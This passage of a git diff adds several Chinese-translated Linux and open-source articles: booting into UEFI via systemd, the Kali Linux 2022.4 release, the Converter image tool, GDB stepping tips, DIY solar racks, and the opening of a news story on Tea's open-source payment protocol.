系统时,你会看到这个页面。Fedora 和 Ubuntu 等大多数 Linux 发行版都使用 Grub,它们允许你像这样从 Grub 页面访问 UEFI 设置。 + +如果你没有看到此页面,或你的发行版不使用 Grub 怎么办? 仍然有一些方法可以从 Linux 中访问 UEFI 设置。 + +在你了解如何操作之前,请 [确保你的系统使用的是 UEFI][3]。 + +另一件重要的事情。你的系统重启才能进入 UEFI 设置。你无法从操作系统中访问和修改固件设置。 + +### 从 Linux 启动到 UEFI 设置 + +此方法仅适用于具有 systemd 的 Linux 发行版。这意味着这种方法适用于任何基于 Ubuntu、Debian、Fedora 和任何主流的基于 Arch 的发行版,包括 Manjaro 和 EndeavourOS。 + +[确保你的 Linux 发行版使用 systemd][4] 仍然是一个好主意。使用给定的命令,如果它返回 systemd,你就可以开始了: + +``` +ps --no-headers -o comm 1 +``` + +![how to know if i am using systemd on linux?][5] + +当你发现你的发行版正在使用 systemd,你可以使用给定的命令启动到 UEFI 设置: + +``` +systemctl reboot --firmware-setup +``` + +让我首先分解使用的选项: + +- `reboot`:顾名思义,它将重启你的系统。 +- `--firmware-setup`: 当此选项与 `reboot` 一起使用时,它会指示系统固件启动进入固件设置界面。 + +就是这样! 一个命令,你将进入 UEFI 设置。我知道 Windows 允许 [从 Windows 中启动进入 UEFI 固件设置][6]。很高兴在 Linux 中看到类似的东西。 + +#### 创建桌面快捷方式以启动到 UEFI 设置(可选) + +如果你经常发现自己启动进入 UEFI 设置,并且不记得所有命令,你可以通过创建桌面快捷方式让你的生活更轻松。这将使你可以通过单击桌面图标启动到 UEFI。 + +不过,对于大多数 Linux 用户来说,这是不必要的,也不是必需的。只有当你觉得有必要时才去做。该方法需要 [在命令行中编辑文件][7]。 + +首先,使用给定的命令为 UEFI 设置创建桌面快捷方式文件: + +``` +sudo nano /usr/share/applications/uefi-reboot.desktop +``` + +并将以下内容粘贴到文件中: + +``` +[Desktop Entry] +Name=UEFI Firmware Setup (Reboot) +Comment=Access the motherboard configuration utility +Exec=systemctl reboot --firmware-setup +Icon=system-restart +Terminal=false +Type=Application +Categories=System;Settings; +``` + +![create a desktop shortcut to boot into uefi settings][8] + +完成后,[保存更改并退出 nano][9] 文本编辑器。 + +现在,你将在系统菜单中找到 UEFI 固件设置的快捷方式: + +![boot into uefi firmware from system menu][10] + +完成了!一种进入 UEFI 设置的巧妙方法。 + +### 总结 + +访问启动设置的经典方法对某些人来说可能有点不方便。Grub 页面可能不会显示旧版本的 UEFI 选项。 + +这就是 systemd 方法的亮点所在。当我的系统崩溃并且我的功能键没有响应时,我发现这种方法是救命稻草,这是启动到 UEFI 所必需的(我当时就是这么想的!)。 + +我希望你发现它同样有用。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/access-uefi-from-linux/ + +作者:[Sagar Sharma][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/sagar/ +[b]: https://github.com/lkxed +[1a]: https://img.linux.net.cn/data/attachment/album/202212/19/092256nkeoyuou6h3ykud6.gif +[1]: https://itsfoss.com/what-is-grub/ +[2]: https://itsfoss.com/wp-content/uploads/2022/12/uefi-firmware-settings-grub-linux.webp +[3]: https://itsfoss.com/check-uefi-or-bios/ +[4]: https://linuxhandbook.com/check-if-systemd/ +[5]: https://itsfoss.com/wp-content/uploads/2022/12/how-to-know-if-i-am-using-systemd-on-linux.png +[6]: https://itsfoss.com/access-uefi-settings-windows-10/ +[7]: https://learnubuntu.com/edit-files-command-line/ +[8]: https://itsfoss.com/wp-content/uploads/2022/12/create-a-desktop-shortcut-to-boot-into-uefi-settings.png +[9]: https://linuxhandbook.com/nano-save-exit/ +[10]: https://itsfoss.com/wp-content/uploads/2022/12/boot-into-uefi-firmware-from-system-menu.png +[0]: https://img.linux.net.cn/data/attachment/album/202212/19/092450oi0c0c7cp4ng2nem.jpg \ No newline at end of file diff --git a/published/202212/20221207.5 ⭐️ Kali Linux's Last Update for the Year Brings a Lot of Early Christmas Gifts.md b/published/202212/20221207.5 ⭐️ Kali Linux's Last Update for the Year Brings a Lot of Early Christmas Gifts.md new file mode 100644 index 0000000000..d3c3370180 --- /dev/null +++ b/published/202212/20221207.5 ⭐️ Kali Linux's Last Update for the Year Brings a Lot of Early Christmas Gifts.md @@ -0,0 +1,134 @@ +[#]: subject: "Kali Linux's Last Update for the Year Brings a Lot of Early Christmas Gifts" +[#]: via: "https://news.itsfoss.com/kali-linux-2022-4-release/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15330-1.html" + +Kali Linux 发布今年最后一个版本 +====== + +> Kali Linux 2022.4 现在已经可以下载了。从这里了解它的新内容。 + +![Kali Linux 今年的最后一次更新早早带来了很多圣诞礼物][1] + +Kali Linux 是一个开源的、基于 Debian 的发行版,专注于渗透测试和安全审计。 + +它由各种工具、配置和自动化脚本组成,以帮助你实现这一目标。 + +作为今年的最后一个版本,**Kali Linux 2022.4** 与其 [前一个版本][2] 相比有许多改进。 + +让我带你了解这个版本。 + +### 🆕 有什么新变化? + +![kali linux 22.04][3] + +Kali Linux 2022.4 以更新的形式早早带来了圣诞礼物;这里有一些快乐的东西!🎄 + +- Linux 内核 6.0 +- 返回微软 Azure 市场 +- 支持 Pine 64 的 PinePhone +- 新的桌面环境 +- QEMU 镜像 +- 新的工具 + +#### 支持 Pine 64 的 PinePhone + +![kali linux nethunter pro on pinephone pro][4] + +Kali Linux 现在已经正式支持 Pine 64 的 PinePhone 和 PinePhone Pro。 + +这种支持是以一种新的以移动为重点的发行版的形式出现的,名为 “Kali NetHunter Pro”。 + +他们把它标记为 Kali Linux 和 [NetHunter][5] 的一个新的起点;这个发行版已经为移动设备进行了优化,可以从 SD 卡上与主操作系统一起双启动。 + +此外,他们还暗示未来将发布 Kali NetHunter Pro 的替代版本。 + +这些版本将以 Plasma Mobile 为特色,同时提供了新的安装程序,可以将 Kali NetHunter Pro 安装到设备的内部闪存中。 + +#### 返回微软 Azure 市场 + +![kali linux 22.04 Azure Marketplace][6] + +在离开 Azure 市场很长时间后,Kali Linux 终于被 [添加回来][7] 了。 + +Kali Linux 背后的公司 [Offensive Security][8] 提到,借助 [kali-cloud build-scripts][9],现在发布过程已经自动化了。 + +用户现在将享受与他们的 [亚马逊 AWS 镜像][10] 相同的一致性水平。 + +#### 新的桌面环境 + +![kali linux 22.04 with gnome 43][11] + +通常情况下,Kali Linux 使用轻量级的 Xfce 桌面环境作为其默认的桌面环境。 + +但现在,它也支持最近的 KDE Plasma 和 GNOME。 + +**在 Plasma 方面:** Kali Linux 现在采用了 KDE Plasma 5.26;改善了整体的桌面体验,并引入了许多调整和改进。 + +**在 GNOME 方面:** 包括了 [GNOME 43][12] 的常规增强,他们也增加了一些自己的调整。 + +在 [adw-gtk3][13] 项目的基础上增加了一个新的基于 GTK3 的主题,并加入了一些 Kali 的调整。 + +然后,新的 GNOME 文本编辑器取代了 Gedit,并带有一个更新的 Kali 主题。 + +#### QEMU 镜像 + +他们还在预生成的镜像库中增加了一个新的 [QEMU 镜像][14],希望它能让人们更容易在 [Proxmox Virtual Environments][15]、[virt-manager][16] 或 [libvirt][17] 等自托管环境中部署 Kali Linux。 + +#### 🛠️ 其他变化/改进措施 + +除了上述变化,还有其他几个值得注意的变化: + +- 增强了对 Kali NetHunter 的蓝牙支持。 +- 增加了 Kali 对树莓派镜像烧录工具的支持。 +- USBArmory MKII 中的 u-boot 引导加载器已经更新到 2022.10。 +- 更新了各种 Kali 文档。 +- 新的工具,如 bloodhound.py、certipy、rizin-cutter 等等。 +- 重新打造了 Kali Linux 的社交媒体渠道。 + +你可以通过 [发布公告][18] 来了解更多技术细节。 + +### 📥 下载 Kali Linux 2022.4 + +Kali Linux 2022.4 已经在 [官方网站][19] 上提供了。 + +> **[Kali Linux 2022.4][19]** + +你可以选择适合你的要求的镜像并下载它。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/kali-linux-2022-4-release/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w2000/2022/12/kali-linux-2022-04-release.jpg +[2]: https://news.itsfoss.com/kali-linux-2022-3-release/ +[3]: https://news.itsfoss.com/content/images/2022/12/Kali-Linux-2022.4.png +[4]: https://news.itsfoss.com/content/images/2022/12/Kali-Linux-2022.4_NetHunter_Pro.jpg +[5]: https://www.kali.org/docs/nethunter/ +[6]: https://news.itsfoss.com/content/images/2022/12/Kali-Linux-2022.4_Azure.jpg +[7]: https://azuremarketplace.microsoft.com/en/marketplace/apps/kali-linux.kali +[8]: https://www.offensive-security.com +[9]: https://gitlab.com/kalilinux/build-scripts/kali-cloud +[10]: https://aws.amazon.com/marketplace/pp/prodview-fznsw3f7mq7to +[11]: https://news.itsfoss.com/content/images/2022/12/Kali-Linux-2022.4_GNOME43.jpg +[12]: https://news.itsfoss.com/gnome-43-release/ +[13]: https://github.com/lassekongo83/adw-gtk3 +[14]: https://qemu-project.gitlab.io/qemu/system/images.html +[15]: https://www.proxmox.com/en/proxmox-ve +[16]: https://virt-manager.org +[17]: https://libvirt.org +[18]: https://www.kali.org/blog/kali-linux-2022-4-release/#desktop-updates +[19]: https://www.kali.org/get-kali/ diff --git a/published/202212/20221208.1 ⭐️ Convert and Manipulate Images With ‘Converter’ GUI Tool in Linux.md b/published/202212/20221208.1 ⭐️ Convert and Manipulate Images With ‘Converter’ GUI Tool in Linux.md new file mode 100644 index 0000000000..eab96f22e5 --- /dev/null +++ b/published/202212/20221208.1 ⭐️ Convert and Manipulate Images With ‘Converter’ GUI Tool in Linux.md @@ -0,0 +1,88 @@ +[#]: subject: "Convert and Manipulate Images With ‘Converter’ GUI Tool in Linux" +[#]: via: "https://itsfoss.com/converter-tool/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15368-1.html" + +在 Linux 中使用 “Converter” GUI 工具转换和操作图像 +====== + +![][0] + +你可以随时在你的系统上 [安装 ImageMagick][1] 来转换图像,但并不是每个人都喜欢使用终端来转换和操作图像。 + +那么,如果你有一个 GUI 应用作为前端来帮助解决这个问题呢? **Converter** 就是这样的工具。 + +它是 ImageMagick 的前端。所以你不需要使用命令来转换和操作图像。 + +请注意,大多数 Ubuntu 系统通常都预装了 ImageMagick。如果你的系统上还没有安装,你可以随时参考我们的 [安装指南][1]。 + +### Converter:ImageMagick 的图形前端 + +![converter gui][2] + +转换图像不应该花费很多精力。这是一项简单的任务,而且应该如此。 + +我不想键入命令来快速转换图像。因此,我更喜欢使我能够更快地做事的图形工具。 + +[Converter][3] 是一个开源图形前端,可以让你做到这点。它是一个 GTK4 + libadwaita 应用。 + +你可以将图像转换为各种文件格式,包括 png、webp、jpeg、heif、heic 和 bmp。可以肯定地说,你获得了对最流行的图像文件格式的支持。所以,它应该会派上用场。 + +![file format converter][4] + +你可以设置一个位置来保存所有文件,转换后的图像将自动存储在该位置。 + +![customize converter][5] + +你还可以调整图像的质量、大小和背景颜色。要访问这些选项,请在转换图像之前单击用户界面中的“更多选项More Options”。 + +![converter more options][6] + +可以使用百分比、精确像素或比率自定义图像大小。对于精确操作,更改尺寸可能更有用。如果你希望图像缩放到一定程度,百分比或比例功能应该可以帮助你做到这一点。你还可以选择为图像添加滤镜。 + +总体而言,你可以获得使用 Converter 调整大小、转换和优化图像质量的基本功能。 + +你还可以 [调整 Nautilus][7] 以获得 [右键单击上下文菜单中的调整大小选项][8]。但它不像这个工具那样通用。 + +### 在 Linux 上安装 Converter + +Converter 在 [Flathub][9] 上以 Flatpak 的形式提供,可以安装在你选择的任何 Linux 发行版上。 + +遗憾的是,你无法在 Linux 系统上安装任何二进制包。因此,你可能需要参考我们的 [Flatpak 指南][10] 来安装它。 + +``` +flatpak install flathub io.gitlab.adhami3310.Converter +``` + +你可以在其 [GitLab 页面][3] 上探索更多相关信息。 + +_你对我们接下来要重点介绍的此类有趣工具有什么建议吗? 让我们在评论中知道。_ + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/converter-tool/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/install-imagemagick-ubuntu/ +[2]: https://itsfoss.com/wp-content/uploads/2022/12/converter-gui.png +[3]: https://gitlab.com/adhami3310/Converter +[4]: https://itsfoss.com/wp-content/uploads/2022/12/file-format-converter.png +[5]: https://itsfoss.com/wp-content/uploads/2022/12/customize-converter.png +[6]: https://itsfoss.com/wp-content/uploads/2022/12/converter-more-options.png +[7]: https://itsfoss.com/nautilus-tips-tweaks/ +[8]: https://itsfoss.com/resize-images-with-right-click/ +[9]: https://flathub.org/apps/details/io.gitlab.adhami3310.Converter +[10]: https://itsfoss.com/flatpak-guide/ +[0]: https://img.linux.net.cn/data/attachment/album/202212/21/161705qzvydyyd8v8y3cyh.jpg \ No newline at end of file diff --git a/published/202212/20221208.2 ⭐️⭐️ 7 pro tips for using the GDB step command.md b/published/202212/20221208.2 ⭐️⭐️ 7 pro tips for using the GDB step command.md new file mode 100644 index 0000000000..d864f7db50 --- /dev/null +++ b/published/202212/20221208.2 ⭐️⭐️ 7 pro tips for using the GDB step command.md @@ -0,0 +1,262 @@ +[#]: subject: "7 pro tips for using the GDB step command" +[#]: via: "https://opensource.com/article/22/12/gdb-step-command" +[#]: author: "Alexandra https://opensource.com/users/ahajkova" +[#]: collector: "lkxed" +[#]: translator: "chai001125" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15362-1.html" + +GDB 的 7 个单步调试命令 +====== + +![][0] + +> 即使是复杂的函数,也有几种方法可以单步调试,所以下次在排除代码故障时,可以尝试一下这些 GDB 技术。 + +**调试器** 是一个可以运行你的代码并检查问题的软件。[GNU Debugger][1](GBD)是最流行的调试器之一,在这篇文章中,我研究了 GDB 的 `step` 命令和其他几种常见情况的相关命令。`step` 是一个被广泛使用的命令,但它有一些人们不太了解的地方,可能会使得他们十分困惑。此外,还有一些方法可以**在不使用 `step` 命令的情况下进入一个函数**,比如使用不太知名的 `advance` 命令。 + +### 1、无调试符号 + +考虑以下这个简单的示例程序: + +``` +#include + + +int num() { + return 2; +} + +void bar(int i) { + printf("i = %d\n", i); +} + + +int main() { + bar(num()); + return 0; +} +``` + +如果你在没有 调试符号 debugging sysbols 的情况下进行编译(LCTT 译注:即在使用 `gcc` 编译程序时没有写 `-g` 选项),然后在 `bar` 上设置一个断点,然后尝试在这个函数内使用 `step` 来单步执行语句。GDB 会给出一个 没有行号信息 no line number information 的错误信息。 + +``` +gcc exmp.c -o exmp +gdb ./exmp +(gdb) b bar +Breakpoint 1 at 0x401135 +(gdb) r +Starting program: /home/ahajkova/exmp +Breakpoint 1, 0x0000000000401135 in bar () +(gdb) step +Single stepping until exit from function bar, +which has no line number information. +i = 2 +0x0000000000401168 in main () +``` + +### 2、stepi 命令 + +但是你仍然可以在没有行号信息的函数内部单步执行语句,但要使用 `stepi` 命令来代替 `step`。`stepi` 一次只执行一条指令。当使用 GDB 的 `stepi` 命令时,先做 `display/i $pc` 通常很有用,这会在每一步之后**显示** 程序计数器 program counter 的值和**相应的** 机器指令 machine instruction : + +``` +(gdb) b bar +Breakpoint 1 at 0x401135 +(gdb) r +Starting program: /home/ahajkova/exmp +Breakpoint 1, 0x0000000000401135 in bar () +(gdb) display/i $pc +1: x/i $pc +=> 0x401135 : sub $0x10,%rsp +``` + +在上述的 `display` 命令中,`i` 代表机器指令,`$pc` 表示程序计数器寄存器(即 PC 寄存器)。 + +使用 `info registers` 命令,来**打印寄存器的内容**,也是十分有用的。 + +``` +(gdb) info registers +rax 0x2 2 +rbx 0x7fffffffdbc8 140737488346056 +rcx 0x403e18 4210200 +(gdb) print $rax +$1 = 2 +(gdb) stepi +0x0000000000401139 in bar () +1: x/i $pc +=> 0x401139 : mov %edi,-0x4(%rbp) +``` + +### 3、复杂的函数调用 + +在带调试符号的 `-g` 选项,重新编译示例程序后,你可以使用行号在 `main` 中 `bar` 调用上设置断点,然后再单步执行 `bar` 函数的语句: + +``` +gcc -g exmp.c -o exmp +gdb ./exmp +(gdb) b exmp.c:14 +Breakpoint 1 at 0x401157: file exmp.c, line 14. +(gdb) r +Starting program: /home/ahajkova/exmp +Breakpoint 1, main () at exmp.c:14 +14 bar(num()); +``` + +接下来,用 `step`,来单步执行 `bar()` 函数的语句: + +``` +(gdb) step +num () at exmp.c:4 +4 return 2; +``` + +函数调用的参数需要在实际的函数调用之前进行处理,`bar()` 函数的参数是 `num()` 函数,所以 `num()` 会在 `bar()` 被调用之前执行。但是,通过 GDB 调试,你怎么才能如愿以偿地进入 `bar()` 函数呢?你可以使用 `finish` 命令,并再次使用 `step` 命令。 + +``` +(gdb) finish +Run till exit from #0 num () at exmp.c:4 +0x0000000000401161 in main () at exmp.c:14 +14 bar(num()); +Value returned is $1 = 2 +(gdb) step +bar (i=2) at exmp.c:9 +9 printf("i = %d\n", i); +``` + +### 4、tbreak 命令 + +`tbreak` 命令会设置一个**临时断点**。如果你不想设置永久断点,那么这个命令是很有用的。举个例子🌰,你想进入一个复杂的函数调用,例如 `f(g(h()), i(j()), ...)`,在这种情况下,你需要一个很长的 `step/finish/step` 序列,才能到达 `f` 函数。如果你设置一个临时断点,然后再使用 `continue` 命令,这样就不需要以上的序列了。为了证明这一点,你需要像以前一样将断点设置在 `main` 的 `bar` 调用上。然后在 `bar` 上设置临时断点。当到达该临时断点后,临时断点会被自动删除。 + +``` +(gdb) r +Starting program: /home/ahajkova/exmp +Breakpoint 1, main () at exmp.c:14 +14 bar(num()); +(gdb) tbreak bar +Temporary breakpoint 2 at 0x40113c: file exmp.c, line 9. +``` + +在调用 `bar` 的时候遇到断点,并在 `bar` 上设置临时断点后,你只需要使用 `continue` 继续运行直到 `bar` 结束。 + +``` +(gdb) continue +Continuing. +Temporary breakpoint 2, bar (i=2) at exmp.c:9 +9 printf("i = %d\n", i); +``` + +### 5、disable 命令 + +类似地,你也可以在 `bar` 上设置一个正常的断点,然后执行 `continue`,然后在不再需要第二个断点时,使用 `disable` 命令禁用这个断点,这样也能达到与 `tbreak` 相同的效果。 + +``` +(gdb) b exmp.c:14 +Breakpoint 1 at 0x401157: file exmp.c, line 14. +(gdb) r +Starting program: /home/ahajkova/exmp +Breakpoint 1, main () at exmp.c:14 +14 bar(num()); +(gdb) b bar +Breakpoint 2 at 0x40113c: file exmp.c, line 9. +(gdb) c +Continuing. +Breakpoint 2, bar (i=2) at exmp.c:9 +9 printf("i = %d\n", i); +(gdb) disable 2 +``` + +正如你所看到的,`info breakpoints` 命令在 `Enb` 列下显示为 `n`,这意味着这个断点已被禁用。但你也能在再次需要这个断点时,再启用它。 + +``` +(gdb) info breakpoints +Num Type Disp Enb Address What +1 breakpoint keep y 0x0000000000401157 in main at exmp.c:14 +breakpoint already hit 1 time +2 breakpoint keep n 0x000000000040113c in bar at exmp.c:9 +breakpoint already hit 1 time +(gdb) enable 2 +(gdb) info breakpoints +Num Type Disp Enb Address What +1 breakpoint keep y 0x000000000040116a in main at exmp.c:19 +breakpoint already hit 1 time +2 breakpoint keep y 0x0000000000401158 in bar at exmp.c:14 +breakpoint already hit 1 time +``` + +### 6、advance 命令运行程序到指定的位置 + +另一个进入函数内部的方法是 `advance` 命令。你可以简单地用 `advance bar`,来代替 `tbreak bar ; continue`。这一命令会将程序继续运行到指定的位置。 + +`advance` 命令的一个很棒的地方在于:如果程序并没有到达你试图进入的位置,那么 GDB 将在当前函数运行完成后停止。因此,程序的执行会受到限制: + +``` +Breakpoint 1 at 0x401157: file exmp.c, line 14. +(gdb) r +Starting program: /home/ahajkova/exmp +Breakpoint 1, main () at exmp.c:14 +14 bar(num()); +(gdb) advance bar +bar (i=2) at exmp.c:9 +9 printf("i = %d\n", i); +``` + +### 7、skip 命令 + +进入 `bar` 函数的另一种方式是使用 `skip num` 命令: + +``` +(gdb) b exmp.c:14 +Breakpoint 1 at 0x401157: file exmp.c, line 14. +(gdb) skip num +Function num will be skipped when stepping. +(gdb) r +Starting program: /home/ahajkova/exmp +Breakpoint 1, main () at exmp.c:14 +14 bar(num()); +(gdb) step +bar (i=2) at exmp.c:9 +9 printf("i = %d\n", i); +``` + +请使用 `info skip` 命令,来了解 GDB 跳过了哪些函数。`num()` 函数被标记为 `y`,表示跳过了 `num()` 函数: + +``` +(gdb) info skip +Num Enb Glob File RE Function +1 y n n num +``` + +如果不再需要 `skip`,可以禁用(并稍后重新启用)或完全删除它。你可以添加另一个 `skip`,并禁用第一个 `skip`,然后全部删除。要禁用某个 `skip`,必须指定其编号(例如,`skip disable 1`),如果没有指定,则会禁用所有的 `skip`。启用或删除 `skip` 的工作原理相同: + +``` +(gdb) skip bar +(gdb) skip disable 1 +(gdb) info skip +Num Enb Glob File RE Function +1 n n n num +2 y n n bar +(gdb) skip delete +(gdb) info skip +Not skipping any files or functions. +``` + +### GDB 的 step 命令 + +使用 GDB 的 `step` 命令是调试程序的一个有用工具。即使是复杂的函数,也有几种方法可以单步调试这些函数,所以下次你在排除代码问题的时候,可以尝试一下这些 GDB 技术。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/12/gdb-step-command + +作者:[Alexandra][a] +选题:[lkxed][b] +译者:[chai001125](https://github.com/chai001125) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/ahajkova +[b]: https://github.com/lkxed +[1]: https://opensource.com/article/21/3/debug-code-gdb +[0]: https://img.linux.net.cn/data/attachment/album/202212/19/093831nrjrmozx1mixmgii.jpg \ No newline at end of file diff --git a/published/202212/20221209.0 ⭐️⭐️ Install open source solar power at home.md b/published/202212/20221209.0 ⭐️⭐️ Install open source solar power at home.md new file mode 100644 index 0000000000..6a2cd140e4 --- /dev/null +++ b/published/202212/20221209.0 ⭐️⭐️ Install open source solar power at home.md @@ -0,0 +1,64 @@ +[#]: subject: "Install open source solar power at home" +[#]: via: "https://opensource.com/article/22/12/open-source-solar-power-home" +[#]: author: "Joshua Pearce https://opensource.com/users/joshuapearce" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15374-1.html" + +在家里安装开源光伏支架 +====== + +![][0] + +> 看看这两个你可以为你的家庭建造的开源的光伏支架设计。 + +你可能已经考虑过用太阳能为你的家供电。将太阳光直接转化为电能的太阳能光伏电池板的成本已大幅下降,因此在任何地方都具有经济意义。这就是为什么大公司投入大量太阳能,甚至电力公司也开始安装大型太阳能发电场的原因,因为它的成本低于过时的化石燃料。像大多数房主一样,你想省钱并节省电费,但你可能对前期费用有点畏缩。为了大致了解成本,一个 5 千瓦系统,以 3 美元/瓦的价格为普通家庭供电,成本约为 15,000 美元,而更大的家庭可能需要 10 千瓦才能满足所有电力购买,成本为 30,000 美元。如果你想要电池,成本加倍(你不需要电池,因为大多数太阳能电池阵列连接到电网,但如果电网瘫痪,你的太阳能电池阵列也会瘫痪,直到它重新开启)。支付你未来几十年所有的电费是一种投资,即使你存了很多钱。 + +有一些好消息。首先,美国和加拿大都对太阳能实行了 30% 的税收抵免。此项优惠将价格降至约 2 美元/瓦。其次,[我们之前讨论][1] 过你可以获得一本免费书籍 《[捕捉阳光][2]》,它会引导你完成如何设计自己的系统(你仍然需要一个合格的电工和检查来把它连接到电网)。如果你有一点手艺,你可以将剩余成本削减约 50%。这些成本主要用于材料,包括太阳能电池板、布线、电子设备和支架。令人惊讶的是,对于小型太阳能系统(比如你家的太阳能系统)来说,太阳能电池板的成本下降得如此之低,以至于支架(支撑太阳能电池板的机械结构)的成本可能比面板还高! + +### 开源再次拯救 + +将开源开发范式应用于软件可以加快创新速度、改进产品并降低成本。开源硬件也是如此,甚至在光伏支架这个相对不为人知的领域也是如此。几乎所有的商业光伏支架都是由专有的奇特铝型材制成。它们会花很多钱。如果你有一些没有遮挡的后院,有一些开源的支架解决方案可以选择。 + +### 开源太阳能支架设计 + +第一个 DIY 太阳能支架设计符合以下标准:(1) 由当地可获得的可再生材料制成,(2) 25 年的使用寿命与太阳能保修相匹配,(3)能够由普通消费者制造,(4)能够符合加拿大结构建筑规范(如果你住在没有雪的地方,这有点矫枉过正,但是,嘿,你可能有其他极端天气需要应对,例如飓风),(5)低成本,(6)它是共享的,使用开源许可证。[开源的木质固定倾斜地面安装双面光伏支架设计][3] 在整个北美都适用。与商业专有支架相比,该支架系统可节省 49% 至 77%。然而,支架设计高度依赖于世界各地不同的木材成本。 + +在深入研究这个开源设计之前,请检查你当地的木材成本。 + +![Non-tilting solar rack plans][4] + +如果你更喜欢冒险,你可能会考虑第二种允许改变倾斜角度的设计。[第二项研究][5] 的结果表明,具有最佳可变季节性倾斜角的支架系统具有最佳的终身能量产生,与固定倾斜系统相比,产生的能量多 5.2%(或者,如果最大倾斜角限制为 60°,能量多 4.8%)。固定和可变木制支架系统的电力成本相似,仅为专有商业金属货架的 29%。可变倾斜支架提供了最低成本的选择,即使包括适度的劳动力成本,也可能为 [农业光伏][6] 等应用提供特定优势(即,你可以在面板下面种菜,对于莴苣等耐阴作物来说,能惊人地增加产量)。此设计已通过 [具有 CERN-OHL-S-2.0 许可证的 OSHWA][7] 的认证。 + +![Tilt-adjustable solar racks][8] + +所示的 2 个光伏模块架中的每一个大约有 1 千瓦。所以一所房子大约需要五个。这两篇论文都提供了完整的计算和分步建造说明。 + +正如拥有太阳能系统的任何人都会告诉你的那样,获得负电费是非常有益的。如果你的系统规模能满足你所有的负荷,并且住在该国的净计量地区,就会出现这种情况。请注意,电力公司不会向你付款;额度会一直延续到你在冬天使用它为止。 + +享受一点开源太阳能带来的乐趣! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/12/open-source-solar-power-home + +作者:[Joshua Pearce][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/joshuapearce +[b]: https://github.com/lkxed +[1]: https://opensource.com/article/21/11/open-source-solar-power +[2]: https://tocatchthesun.com/ +[3]: https://doi.org/10.3390/designs6030041 +[4]: https://opensource.com/sites/default/files/2022-11/nontilt.png +[5]: https://doi.org/10.3390/designs6030054 +[6]: https://www.academia.edu/18406368/The_potential_of_agrivoltaic_systems +[7]: https://certification.oshwa.org/ca000013.html +[8]: https://opensource.com/sites/default/files/2022-11/tilt.png +[0]: https://img.linux.net.cn/data/attachment/album/202212/23/094653pn7mn3j22ymwymuw.jpg \ No newline at end of file diff --git a/published/202212/20221209.2 ⭐️⭐️ Tea Raises $8.9M to Introduce a New Protocol Helping Open-Source Developers Get Paid.md b/published/202212/20221209.2 ⭐️⭐️ Tea Raises $8.9M to Introduce a New Protocol Helping Open-Source Developers Get Paid.md new file mode 100644 index 0000000000..8969498a72 --- /dev/null +++ b/published/202212/20221209.2 ⭐️⭐️ Tea Raises $8.9M to Introduce a New Protocol Helping Open-Source Developers Get Paid.md @@ -0,0 +1,94 @@ +[#]: subject: "Tea Raises $8.9M to Introduce a New Protocol Helping Open-Source Developers Get Paid" +[#]: via: "https://news.itsfoss.com/tea-open-source-new-protocol/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15338-1.html" + +Tea 筹集了 890 万美元,推出了一个帮助开源开发者获得报酬的新协议 +====== + +> 这是一种帮助开源开发者获得报酬的令人兴奋的方式。 + +![Tea 筹集了 890 万美元,推出了一个帮助开源开发者获得报酬的新协议][1] + +[Tea][2] 是一个开源的统一软件包管理器,被全球许多开发者使用。 + +顺便说一句,Tea 是 Homebrew 的创建者的一个新项目。 + +在最近的一份公告中,他们宣布已经筹集了 890 万美元的种子资金,并计划推出一个新的 [Web3 协议][3],帮助开源开发者为他们的工作获得报酬。 + +我是通过 [TechCrunch][4] 上发表的一篇文章看到的,他们对 Tea 的创始人进行了访谈。 + +让我们来看看 Tea 的发展情况。 + +### Tea 提出的一项新协议 + +#### 它是什么? + +**简而言之:** 该协议将帮助软件包维护者获得不可伪造的代币(NFT),作为他们对带有 Tea 支持的开源项目的贡献的奖励。 + +展开来说就是,这是一个 Web3 协议,将帮助软件包维护者以不可伪造的通证(NFT)的形式获得报酬。 + +当维护者完成了一个软件包的提交,他们将收到一个不可伪造的通证(NFT),可以作为他们工作和贡献的证据。 + +现有的维护者也将能够通过将软件包的 NFT 转让给其他开发者来转移软件包的维护所有权。 + +> 这些 NFT 是 Tea 计划奖励其用户的核心。 